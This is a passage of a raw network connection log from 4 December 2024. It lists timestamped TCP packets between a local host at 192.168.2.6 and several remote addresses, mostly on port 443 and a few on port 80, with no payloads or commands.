Dec 4, 2024 16:16:06.256158113 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.596477032 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.597249985 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.597284079 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.597804070 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.597815037 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.723275900 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.724045038 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.724076986 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.724612951 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.724618912 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.037003994 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.037077904 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.037148952 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.037448883 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.037462950 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.037473917 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.037481070 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.041238070 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.041297913 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.041394949 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.041601896 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.041615963 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.161087036 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.164694071 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.164747000 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.164767027 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.164810896 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.165889025 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.165909052 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.165921926 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.165929079 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.169884920 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.169913054 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.170000076 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.170140028 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.170150995 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.410783052 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.411572933 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.411606073 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.412123919 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.412133932 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.833082914 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.833622932 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.833661079 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.834161043 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.834168911 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.846146107 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.848970890 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.849067926 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.850552082 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.850581884 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.850596905 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.850604057 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.862724066 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.862761974 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.862832069 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.862996101 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.863013029 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.967674017 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:07.967739105 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:07.967825890 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:07.968648911 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:07.968677044 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:07.974140882 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.974630117 CET	49872	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.974647045 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:07.975153923 CET	49872	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:07.975157976 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.334614038 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.337661982 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.337764978 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.348239899 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.348269939 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.348282099 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.348289967 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.393003941 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.393042088 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.393127918 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.399843931 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.399863958 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.415894985 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.419322968 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.419418097 CET	49872	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.420511961 CET	49872	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.420526981 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.420537949 CET	49872	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.420543909 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.481823921 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.481882095 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.481971979 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.482814074 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.482839108 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.761945963 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.762734890 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.762790918 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.763284922 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.763293028 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.895612955 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.896353960 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.896384954 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:08.896923065 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:08.896929026 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.197339058 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.201219082 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.201267958 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.201277018 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.201329947 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.224570990 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.224591970 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.224603891 CET	49873	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.224610090 CET	443	49873	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.231293917 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.231334925 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.231391907 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.231738091 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.231756926 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.332422972 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.334880114 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.334935904 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.335083961 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.335094929 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.335105896 CET	49874	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.335110903 CET	443	49874	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.340126991 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.340159893 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.340221882 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.340400934 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.340410948 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.369018078 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:09.369041920 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:09.369112968 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:09.369404078 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:09.369416952 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:09.656018019 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.656845093 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.656877995 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:09.657381058 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:09.657387018 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.140245914 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.140974045 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.141006947 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.141468048 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.141474009 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.272284031 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.275439978 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.275542974 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.275612116 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.275629997 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.275650978 CET	49875	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.275656939 CET	443	49875	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.279062033 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.279073954 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.279145002 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.279316902 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.279325008 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.330322981 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.331120014 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.331165075 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.331680059 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.331686020 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.366842985 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.367043972 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:10.369287968 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:10.369311094 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.369580984 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.371084929 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:10.371159077 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:10.371165037 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.371259928 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:10.415335894 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.577267885 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.577958107 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.578083038 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.578121901 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.578138113 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.578149080 CET	49877	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.578156948 CET	443	49877	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.581564903 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.581602097 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.581718922 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.581890106 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.581902981 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.764595032 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.764832020 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.764914036 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.764928102 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.764998913 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.765166998 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.765192032 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.765203953 CET	49878	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.765213966 CET	443	49878	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.768505096 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.768531084 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.768610954 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.768767118 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.768778086 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.916220903 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.916428089 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.916529894 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:10.932506084 CET	49876	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:10.932553053 CET	443	49876	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:10.972285986 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.973002911 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.973028898 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:10.973519087 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:10.973526955 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.068821907 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:11.070374012 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:11.070394039 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:11.070739985 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:11.076759100 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:11.076844931 CET	443	49881	142.250.181.36	192.168.2.6
Dec 4, 2024 16:16:11.118967056 CET	49881	443	192.168.2.6	142.250.181.36
Dec 4, 2024 16:16:11.134241104 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.135813951 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.135831118 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.136785984 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.136790037 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.417332888 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.420665979 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.420732975 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.420855999 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.420871973 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.420891047 CET	49879	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.420897007 CET	443	49879	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.424701929 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.424731970 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.424806118 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.425021887 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.425036907 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.579000950 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.582756042 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.582824945 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.582855940 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.582891941 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.582964897 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.582981110 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.583003998 CET	49880	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.583009958 CET	443	49880	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.586448908 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.586498022 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:11.586581945 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.586759090 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:11.586771011 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.299470901 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.300167084 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.300192118 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.300698042 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.300705910 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.490602970 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.491425991 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.491436958 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.491975069 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.491982937 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.733355045 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.737319946 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.737421989 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.737503052 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.737524033 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.737535000 CET	49883	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.737540960 CET	443	49883	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.741173983 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.741230011 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.741313934 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.741555929 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.741569996 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.924791098 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.927988052 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.928205967 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.928205967 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.928205967 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.931384087 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.931422949 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:12.931518078 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.931724072 CET	49888	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:12.931737900 CET	443	49888	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.104908943 CET	80	49722	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:13.104974985 CET	49722	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:13.153429031 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.154270887 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.154308081 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.154849052 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.154855013 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.215954065 CET	80	49723	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:13.216015100 CET	49723	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:13.242238998 CET	49884	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.242270947 CET	443	49884	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.274507999 CET	49889	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:13.274549007 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:13.274610996 CET	49889	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:13.274904013 CET	49889	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:13.274920940 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:13.306138039 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.307260036 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.307282925 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.308360100 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.308365107 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.587635040 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.591298103 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.591362000 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.591381073 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.591447115 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.591578007 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.591597080 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.591617107 CET	49885	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.591623068 CET	443	49885	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.595688105 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.595755100 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.595827103 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.596046925 CET	49890	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.596059084 CET	443	49890	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.603980064 CET	49722	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:13.604054928 CET	49723	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:13.723927021 CET	80	49722	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:13.723943949 CET	80	49723	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:13.948771954 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.952516079 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.952640057 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.952694893 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.952714920 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.952728033 CET	49886	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.952733040 CET	443	49886	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.963078976 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.963120937 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:13.963255882 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.963545084 CET	49891	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:13.963558912 CET	443	49891	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.457638025 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.458326101 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.458363056 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.458872080 CET	49887	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.458887100 CET	443	49887	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.641608953 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.642429113 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.642476082 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.642939091 CET	49882	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:14.642946005 CET	443	49882	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:14.658792973 CET	443	49889	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:14.659271002 CET	49889	443	192.168.2.6	164.92.191.86
